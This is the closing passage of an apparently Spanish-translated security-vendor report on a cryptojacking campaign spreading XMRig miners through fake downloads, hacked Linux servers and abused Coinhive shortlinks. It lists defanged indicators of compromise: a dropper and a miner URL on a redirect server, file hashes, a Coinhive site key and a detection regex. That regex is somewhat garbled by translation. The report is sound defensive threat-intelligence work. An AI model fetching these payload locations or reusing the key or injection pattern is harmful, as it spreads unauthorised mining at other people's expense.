En esta campaña, vemos una infraestructura utilizada para impulsar a un minero de XMRig a los usuarios engañándolos para que descarguen los archivos que estaban buscando en línea. Mientras tanto, los servidores pirateados tienen instrucciones de descargar y ejecutar un minero Linux, generando ganancias para los perpetradores pero incurriendo en costos para sus propietarios. Finalmente, parece apropiado ver un abuso de los enlaces cortos de Coinhive para realizar minería en el navegador.

Malwarebytes bloquea la extracción maliciosa, ya sea desencadenada por malware o cargada a través de sitios web comprometidos.

Gracias a @DynamicAnalysis por compartir información adicional.

Indicadores de compromiso

Cadena para la inyección de cnvh [.] Co ofuscado

vhisduhvuhiusdhfbjhewvhisdhbybguyebrrfsd

Coinhive shortlink

cnhv [.] co / 3h2b2

Clave del sitio de Coinhive

Dkpy5v4CBgwZqzPRosdHKDB7DQsc1Sav

Regex para la redirección de sitios comprometidos

\ / (\ w {4} | \ w {8}) \ / (\ w {5} | \ w {9}) \. php \? ([az] {6} | [az] {3}) = [\ w] {1,25} - [\ w] {1,25}

Servidor de redirección

5.45.79 [.] 15

Cuentagotas de minero de Windows

5.45.79 [.] 15 / xxxphoto.exe
38f55239519523638dc2b3958f5e9951a6b04f813336927a4f7de717518e5b44

Minero de Linux

5.45.79 [.] 15 / monero / cnrig
c890d18fe3753a9ea4d026fc713247a9b83070b6fe40539779327501916be031